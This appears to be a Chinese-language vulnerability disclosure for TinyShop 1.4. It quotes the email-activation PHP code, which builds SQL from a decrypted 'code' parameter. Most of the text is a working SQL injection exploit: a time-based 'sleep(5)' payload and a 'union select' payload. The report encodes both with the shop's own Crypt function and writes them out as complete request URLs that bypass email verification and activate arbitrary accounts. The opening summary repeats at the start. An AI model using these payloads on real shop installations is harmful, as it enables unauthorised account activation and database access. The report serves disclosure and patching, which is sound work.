### 简要描述: 1.4 ### 详细说明: 1.4更新内容中 4、增加是否开启邮箱注册验证功能(防止垃圾用户注册),同时加入token防止一些自动注册软件的注册。 看了一下 /protected/controllers/simple.php中 ``` //账户激活邮件认证 public function activation_user() { $code =Filter::text(Req::args('code')); //获取code参数 $email_code = substr($code,32); $valid_code = substr($code,0,32); $email = Crypt::decode($email_code); //利用decode函数进行解密 $model = new Model('user'); $user = $model->where("email='".$email."'")->find(); if($user && $user['status']==0 && md5($user['validcode'])==$valid_code){ $model->data(array('status'=>1))->where('id='.$user['id'])->update(); $this->redirect("/index/msg",false,array('type'=>"success","msg"=>'账户激活成功',"content"=>"账户通过邮件成功激活。","redirect"=>"/simple/login")); }else{ $this->redirect("/index/msg",false,array('type'=>"fail","msg"=>'账户激活失败',"content"=>"你的连接地址无效,无法进行账户激活,请核实你的连接地址无误。")); } } ``` ### 漏洞证明: 这里的加解密方法都提供了所以直接对我们的payload用对应加密函数进行加密,就行 payload test123@qq.com' or sleep(5) # 无论有没有email为test123@qq.com的用户,都会延时5秒 echo Crypt::encode("test123@qq.com'...
### 简要描述: 1.4 ### 详细说明: 1.4更新内容中 4、增加是否开启邮箱注册验证功能(防止垃圾用户注册),同时加入token防止一些自动注册软件的注册。 看了一下 /protected/controllers/simple.php中 ``` //账户激活邮件认证 public function activation_user() { $code =Filter::text(Req::args('code')); //获取code参数 $email_code = substr($code,32); $valid_code = substr($code,0,32); $email = Crypt::decode($email_code); //利用decode函数进行解密 $model = new Model('user'); $user = $model->where("email='".$email."'")->find(); if($user && $user['status']==0 && md5($user['validcode'])==$valid_code){ $model->data(array('status'=>1))->where('id='.$user['id'])->update(); $this->redirect("/index/msg",false,array('type'=>"success","msg"=>'账户激活成功',"content"=>"账户通过邮件成功激活。","redirect"=>"/simple/login")); }else{ $this->redirect("/index/msg",false,array('type'=>"fail","msg"=>'账户激活失败',"content"=>"你的连接地址无效,无法进行账户激活,请核实你的连接地址无误。")); } } ``` ### 漏洞证明: 这里的加解密方法都提供了所以直接对我们的payload用对应加密函数进行加密,就行 payload test123@qq.com' or sleep(5) # 无论有没有email为test123@qq.com的用户,都会延时5秒 echo Crypt::encode("test123@qq.com' and sleep(5) #") 得到 cdd5ae92abMjA0OTk1MDc5NWczOGVjMTNhODZkNjk4OzNnNGI3ZTdzZXN0NzszRXJ3LmVtbiQjaW1sIHdoZWVwKDwpJSM 前面加上任意32位作为校验码,这里我用md5(a)=0cc175b9c0f1b6a831c399e269772661 最后code为0cc175b9c0f1b6a831c399e269772661cdd5ae92abMjA0OTk1MDc5NWczOGVjMTNhODZkNjk4OzNnNGI3ZTdzZXN0NzszRXJ3LmVtbiQjaW1sIHdoZWVwKDwpJSM 没有回显,用延时注入证明: http://localhost/tinyshop/index.php?con=simple&act=activation_user&code=0cc175b9c0f1b6a831c399e269772661cdd5ae92abMjA0OTk1MDc5NWczOGVjMTNhODZkNjk4OzNnNGI3ZTdzZXN0NzszRXJ3LmVtbiQjaW1sIHdoZWVwKDwpJSM [<img src="https://images.seebug.org/upload/201504/09143352ae74bca4f342fde1b034f539f541b100.png" alt="屏幕快照 2015-04-09 下午2.28.08.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/09143352ae74bca4f342fde1b034f539f541b100.png) [<img src="https://images.seebug.org/upload/201504/09143358cfcc4efd3fea529a6017098c659ad25b.png" alt="屏幕快照 2015-04-09 下午2.33.35.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/09143358cfcc4efd3fea529a6017098c659ad25b.png) 构造poc,完全绕过邮箱验证,验证任意邮箱,先后台开启邮箱激活验证 加密前:test123@qq.com' union select 4,2,3,4,5,'a',0 # 4为要激活的账号 a为MD5前的验证码,与code前32位匹配,0对应status http://localhost/tinyshop/index.php?con=simple&act=activation_user&code=0cc175b9c0f1b6a831c399e269772661ff14e1a529NTMwMDA3OTAyNmRhOWE1YTViazVjMzpkOjFlZGIyNGx9ZXR0MXlvdX5pMUMxNzIqZGdtJyByZmlvbSB7Z2thYHIgNiw7KTMpNC81LSdoLy8wJSY 证明: [<img src="https://images.seebug.org/upload/201504/091421323347d1f5338b8d1317041e050df668a4.png" alt="屏幕快照 2015-04-09 下午2.12.10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/091421323347d1f5338b8d1317041e050df668a4.png) [<img src="https://images.seebug.org/upload/201504/0914213947bc86b09df630436b6a15f01f511b76.png" alt="屏幕快照 2015-04-09 下午2.18.40.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/0914213947bc86b09df630436b6a15f01f511b76.png) [<img src="https://images.seebug.org/upload/201504/0914214515d983ff038ffc626e7f7b75db610957.png" alt="屏幕快照 2015-04-09 下午2.19.05.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/0914214515d983ff038ffc626e7f7b75db610957.png)